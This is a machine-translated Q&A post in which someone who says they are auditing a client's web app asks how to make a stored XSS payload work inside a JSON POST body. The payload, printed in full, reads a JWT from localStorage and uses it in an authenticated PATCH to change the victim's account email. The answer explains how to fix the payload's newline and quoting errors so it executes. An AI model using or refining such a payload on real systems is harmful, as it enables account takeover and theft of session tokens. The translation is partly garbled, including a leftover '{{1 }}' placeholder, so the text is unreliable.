xmlhttp引号json数据(javscript)上的另一个json变量内发送时给出一些错误

时间:2019-05-22 20:17:14

标签: javascript json http security xss

我正在对Web应用程序上的客户端漏洞进行审核。我发现了一些xss,但我想进一步升级,但是我面临的问题是数据在json中发送。现在,当我在其中引入xmlhttp请求时,该请求需要使用双引号发送其POST数据。那就是问题所在,即转义那些引号。

我尝试用两个反斜杠将其转义,但请求失败。但是,当我使用有效负载中的反斜线发送请求时,请求成功了,但是javascript执行失败了

所以基本上问题是数据是这样发送的:

开机自检 {“ x”:“ y”,“ html”:“ javascript代码”}

我的xss有效载荷是这样的:

POST 

DATA
{"x":"y","html":"<svg onload=\"var token=localStorage.getItem('murally.jwt');
alert(token);
var xhr=new XMLHttpRequest();xhr.open('PATCH','https://x.com',true);
xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');
xhr.setRequestHeader('Authorization', 'Bearer ' + token);var body='{\"email\":\"xxx@xxx.com\"}';
xhr.send(JSON.stringify(body));
xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status 
== 200) { alert(xhr.responseText) }};\"/>"}

现在,我从两个方面陷入困境:

1)当我在请求中发送与上述相同的代码时,数据存储在服务器端,但是当我加载存储该页面的页面时,控制台中出现错误SyntaxError:''字符串文字包含未转义的换行符,因此我的有效负载无法正常工作并失败。

2)在Internet上搜索它之后,我发现了上述解决方案,我需要对发布数据的引号加倍转义,以便浏览器正确解析它,但是当我再次用双反斜杠发送该请求时,又出现了另一个问题该请求因错误而失败 {“错误”:“ INVALID_PAYLOAD”,“消息”:“格式错误的JSON”}

因此,现在我必须以某种方式使该请求绕过两个错误才能正常工作,对此是否有解决方案?我在开发方面的工作并不多,因此,如果有任何帮助,将不胜感激。我想向客户展示xss的巨大影响,即xss如何导致帐户接管。如果有办法通过适当的转义来缓解这两个问题,请帮助我。 如果您需要更多信息,请随时询问。

谢谢。

1 个答案:

答案 0 :(得分:0)

有效载荷中有2个问题:

  1. 对于html字段的值,不应引入换行符-这将导致“未转义的换行符”错误。您可以删除所有换行符,并将html字符串存储为单行紧凑文本。

  2. 对于有效负载中的body,它可以是普通的JavaScript对象,例如var body={email:'xxx@xxx.com'};-在下一行代码中,它将通过{{1 }},则不需要双引号。